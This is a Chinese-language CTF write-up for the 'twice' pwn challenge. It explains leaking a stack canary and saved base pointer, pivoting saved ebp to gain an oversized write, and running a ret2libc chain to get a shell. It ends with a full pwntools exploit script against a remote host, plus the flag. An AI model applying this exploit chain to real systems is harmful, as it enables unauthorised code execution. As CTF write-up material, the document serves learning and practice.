这次第五空间总算不是第500空间了…
题难度还行。pwn只做了一个twice,不过好歹是正式比赛第一次做出来pwn…放wp吧。
老规矩,先checksec一波
64位,开了canary和nx。上IDA。
main函数主要就是一个循环
sub_4007A9是这样的
a1就是传入的nCount(初值为0) 。结合主函数的循环,可以知道整个循环只能跑两次。
第二次执行完后返回0,就跳出循环了。
整个的函数作用大体上就是向s数组中读v3个字节。
sub_40076D长这样
第一次返回89,第二次返回112。看一下栈
算一下,s跟canary的距离是88,89个字符正好可以覆盖掉canary的‘\x00’,使得下面puts打印出来
canary和saved ebp(一般来说这个没用,不过这道题这个很关键)。
第一次泄露了canary,第二次就可以bypass canary实现栈溢出了。
问题是输入只有112个字符,88+8(canary)+8(saved ebp)+8(return addr)=112
只够覆盖返回地址。就经典的攻击手段来说,长度根本不够。
这就需要新的方法了。回头看一下read函数相关的汇编。
可以看到,写入长度是由栈上数据决定的。这就意味着,如果我们把saved ebp覆盖成栈地址,
再把返回值改成这段汇编的开头,写入字节数就会由栈上的数据决定。
这里选择把saved ebp覆盖成第一次leak出来的saved ebp,结果发现输入长度被改成了我们输入的填充数据。(例如,padding=‘a’*88,输入长度就是0x61616161)。
当然这里有调试偷懒成分在,不过只要你有了第一次leak 出来的saved ebp,理论上可以通过操纵第二次的saved ebp使输入长度为栈上的任何值。
于是我们有了第三次(几乎)无限长度的输入了。接下来就是常规套路,leak 函数地址,把返回值调成start(清除各种状态防止出问题,貌似再跳到read直接执行写入也可以) 再重复之前的套路,三次溢出并get shell。
贴一下POC
from pwn import *
from LibcSearcher import *
context(os='linux', arch='amd64', log_level='debug')
#r = process('/home/xyzmpv/pwn')
r = remote('121.36.59.166', 9999)
e = ELF('/home/xyzmpv/pwn')
puts_addr = e.plt['puts']
libc_start_main_addr = e.got["__libc_start_main"]
r.recvuntil('>') #第一次溢出
r.sendline('a'*88)
r.recvuntil('\n')
canary=r.recv(7) #leak canary
ebp=r.recv(6) #leak ebp
ebp=ebp.ljust(8,'\x00)
r.recvuntil('>')
r.send('a'*88+'\x00'+canary+ebp+p64(0x400823)) #第二次溢出 过canary 调ebp 制造无限长度写
r.send('a'*72+'\x00'+canary+ebp+p64(0x400923)+p64(libc_start_main_addr)+p64(puts_addr)+p64(0x400630)) #第三次溢出 leak libc_start_main_addr
r.recvuntil('\n')
libc_addr = r.recvuntil('\x7f')
libc_addr = libc_addr.ljust(8,'\x00')
libc_addr = u64(libc_addr)
libc = LibcSearcher('__libc_start_main',libc_addr)
libcbase = libc_addr - libc.dump('__libc_start_main')
system_addr = libcbase + libc.dump('system')
binsh_addr = libcbase + libc.dump('str_bin_sh')
r.recvuntil('>')
r.sendline('a'*88)
r.recvuntil('\n')
canary=r.recv(7)
ebp=r.recv(6)
ebp=ebp.ljust(8,'\x00')
r.recvuntil('>')
r.send('a'*88+'\x00'+canary+ebp+p64(0x400823))
r.send('a'*72+'\x00'+canary+ebp+p64(0x400923)+p64(binsh_addr)+p64(system_addr)) # get shell
r.interactive()
然后得到flag:flag{cvbEH0Q35q2lHE1KBQobYjqyp4}